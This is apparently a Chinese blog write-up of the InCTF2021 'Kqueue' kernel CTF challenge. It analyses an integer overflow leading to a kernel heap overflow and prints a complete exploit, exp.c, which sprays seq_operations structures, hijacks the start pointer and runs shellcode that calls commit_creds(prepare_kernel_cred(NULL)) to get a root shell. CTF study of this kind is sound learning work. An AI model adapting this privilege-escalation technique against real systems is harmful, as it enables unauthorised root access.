InCTF2021 - Kqueue 学习记录

  • 漏洞分析

在内核态实现了一个队列管理程序,主要部分还是堆的增删改查。

队列结构:

// 管理结构 queue
typedef struct{
  uint16_t data_size;     // 队列每一项 entry 的大小
  uint64_t queue_size; 	// 队列整体的大小
  uint32_t max_entries;	// 队列最多的项数
  uint16_t idx;
  char* data;
}queue;

// 节点结构 queue_entry
typedef struct queue_entry queue_entry;
struct queue_entry{
  uint16_t idx;         //当前entry的idx
  char *data;           //当前entry维护的数据
  queue_entry *next;    //next指针
};

在 kqueue_ioctl 中实现了类似菜单的功能

image-20220721162841719

create_kqueue 实现创建节点

static noinline long create_kqueue(request_t request){
  long result = INVALID;
  // 最多是五个队列
  if(queueCount > MAX_QUEUES)
      err("[-] Max queue count reached");
  // 创建队列时元素可以等于 1,不能小于 1
  if(request.max_entries<1)
      err("[-] kqueue entries should be greater than 0");
  if(request.data_size>MAX_DATA_SIZE)
      err("[-] kqueue data size exceed");
  queue_entry *kqueue_entry;

  ull space = 0;
  if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出
      err("[-] Integer overflow");

  /* Size is the size of queue structure + size of entry * request entries */
  ull queue_size = 0;
  if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
      err("[-] Integer overflow");

  if(queue_size>sizeof(queue) + 0x10000)
      err("[-] Max kqueue alloc limit reached");

  queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

  queue->data_size   = request.data_size;    
  queue->max_entries = request.max_entries;  
  queue->queue_size  = queue_size;           

  kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

  queue_entry* current_entry = kqueue_entry;
  queue_entry* prev_entry = current_entry;

  uint32_t i=1;

  // [1,request.max_entries]
  for(i=1;i<request.max_entries+1;i++){
      if(i!=request.max_entries)
          prev_entry->next = NULL;

      current_entry->idx = i;
      current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

      /* Increment current_entry by size of queue_entry */
      current_entry += sizeof(queue_entry)/16;

      /* Populate next pointer of the previous entry */
      prev_entry->next = current_entry;
      prev_entry = prev_entry->next;
  } 

  // 这里尝试找到kqueue中一个不为NULL的项
  uint32_t j = 0;
  for(j=0;j<MAX_QUEUES;j++){
      if(kqueues[j] == NULL)
          break;
  }
  // break出for循环后 j = MAX_QUEUES,不会触发下面的if
  if(j>MAX_QUEUES)
      err("[-] No kqueue slot left");

  // 导致我们越界分配了一个 queue?
  /* Assign the newly created kqueue to the kqueues */
  // queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  kqueues[j] = queue;
  queueCount++;
  result = 0;
  return result;
}

首先是 __builtin_umulll_overflow 函数,gcc 内置用于检测乘法溢出,这里计算 sizeof(queue_entry) * (request.max_entries+1) 是否溢出,并把结果存在 space 中。但是 request.max_entries 本身没有检查溢出,32 位的无符号数可能造成整数溢出,这样就可以绕过乘法溢出的检测。

此时 queue->max_entries 是一个极大值,而因为前面的 request.max_entries + 1 溢出为 0,所以 space 也还是 0,那么 queue->queue_size 大小就是 sizeof(queue)

接着在下面的循环中 request.max_entries+1 溢出导致不会进入循环,没有为 data 分配 queue_entry。

然后看保存队列的部分:save_kqueue_entries:

static noinline long save_kqueue_entries(request_t request){
......
// 为此需要save的队列分配空间,size为queue->queue->size
  char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
    // 先拷贝queue头数据,这里没有问题
  if(queue->data && request.data_size)
      validate(memcpy(new_queue,queue->data,request.data_size));
  else
      err("[-] Internal error");

    // 再拷贝所有queue的entry数据,这里发生了溢出

  uint32_t i=0;
  for(i=1;i<request.max_entries+1;i++){
      if(!kqueue_entry || !kqueue_entry->data)
          break;
      if(kqueue_entry->data && request.data_size)
          validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
      else
          err("[-] Internal error");
      kqueue_entry = kqueue_entry->next;
      new_queue += queue->data_size;
  }
......

}

根据我们的构造,这里会给 new_queue 分配 sizeof(queue) 大小的内存,明显是不够的,这样在下面的 memcpy(new_queue,queue->data,request.data_size) 中就会发生溢出。

具体的利用需要用 seq_operations + 堆喷射。

  • 漏洞利用

    给 new_queue 分配的大小为 queue->queue_size,也就是 0x18,根据 kmalloc 的规则会在 kmalloc-32 中取,那么就要在这个 slab 中找可用的结构体,这里用到了 seq_operations。

    struct seq_operations {
        void * (*start) (struct seq_file *m, loff_t *pos);
        void (*stop) (struct seq_file *m, void *v);
        void * (*next) (struct seq_file *m, void *v, loff_t *pos);
        int (*show) (struct seq_file *m, void *v);
    };
    

    当打开一个 stat 文件时会在内核空间分配一个 seq_operations 结构体,当 read 一个 stat 文件时,系统会调用 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read_iter() 函数(位于 fs/seq_file.c),可利用的逻辑在:

    ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
    {
        struct seq_file *m = iocb->ki_filp->private_data;
        //...
        p = m->op->start(m, &m->index);
        //...
    

    然后会调用 seq_operations 中的 start,只要控制了 seq_operations->start 后再读取对应的 stat 文件就能劫持控制流。为了保证能溢出到对应地址,需要用到堆喷射。

    下一步就是具体的提权,因为开了 kaslr,无法确定 prepare_kernel_cred 和 commit_creds 的地址,但可以通过编写 shellcode 在内核栈上找恰当数据从而获得内核地址,然后执行 commit_creds(prepare_kernel_cred(NULL))。

    exp.c:

    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <stdio.h>
    #include <stdint.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    #include <sys/types.h>
    #include <sys/ioctl.h>
    #include <sys/prctl.h>
    #include <sys/syscall.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    
    typedef struct
    {
        uint32_t    max_entries;
        uint16_t    data_size;
        uint16_t    entry_idx;
        uint16_t    queue_idx;
        char*       data;
    }request_t;
    
    long dev_fd;
    size_t root_rip;
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus(void)
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    
    void getRootShell(void)
    {   
        puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
    
        if(getuid())
        {
            puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
            exit(-1);
        }
    
        puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
        system("/bin/sh");
        exit(0);// to exit the process normally instead of segmentation fault
    }
    
    void errExit(char * msg)
    {
        printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
        exit(EXIT_FAILURE);
    }
    
    void createQueue(uint32_t max_entries, uint16_t data_size)
    {
        request_t req = 
        {
            .max_entries    = max_entries,
            .data_size      = data_size,
        };
        ioctl(dev_fd, 0xDEADC0DE, &req);
    }
    
    void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
    {
        request_t req =
        {
            .queue_idx  = queue_idx,
            .entry_idx  = entry_idx,
            .data       = data,
        };
        ioctl(dev_fd, 0xDAADEEEE, &req);
    }
    
    void deleteQueue(uint16_t queue_idx)
    {
        request_t req = 
        {
            .queue_idx = queue_idx,
        };
        ioctl(dev_fd, 0xBADDCAFE, &req);
    }
    
    void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
    {
        request_t req =
        {
            .queue_idx      = queue_idx,
            .max_entries    = max_entries,
            .data_size      = data_size,
        };
        ioctl(dev_fd, 0xB105BABE, &req);
    }
    
    void shellcode(void)
    {
        __asm__(
            "mov r12, [rsp + 0x8];"
            "sub r12, 0x201179;"
            "mov r13, r12;"
            "add r12, 0x8c580;"  // prepare_kernel_cred
            "add r13, 0x8c140;"  // commit_creds
            "xor rdi, rdi;"
            "call r12;"
            "mov rdi, rax;"
            "call r13;"
            "swapgs;"
            "mov r14, user_ss;"
            "push r14;"
            "mov r14, user_sp;"
            "push r14;"
            "mov r14, user_rflags;"
            "push r14;"
            "mov r14, user_cs;"
            "push r14;"
            "mov r14, root_rip;"
            "push r14;"
            "iretq;"
        );
    }
    
    int main(int argc, char **argv, char**envp)
    {
        long        seq_fd[0x200];
        size_t      *page;
        size_t      data[0x20];
    
        saveStatus();
        root_rip = (size_t) getRootShell;
        dev_fd = open("/dev/kqueue", O_RDONLY);
        if (dev_fd < 0)
            errExit("FAILED to open the dev!");
    
        for (int i = 0; i < 0x20; i++)
            data[i] = (size_t) shellcode;
    
        createQueue(0xffffffff, 0x20 * 8);
        editQueue(0, 0, data);
        for (int i = 0; i < 0x200; i++)
            seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        saveQueue(0, 0, 0x40);
        for (int i = 0; i < 0x200; i++)
            read(seq_fd[i], data, 1);
    }
    

    无语的是将文件系统解包再重新打包后 qemu 不能正常运行,没办法拿了上一个题的文件系统

    image-20220722144339416

  • 参考文献

posted @ 2022-12-29 12:28  moon_flower  阅读(40)  评论(0编辑  收藏  举报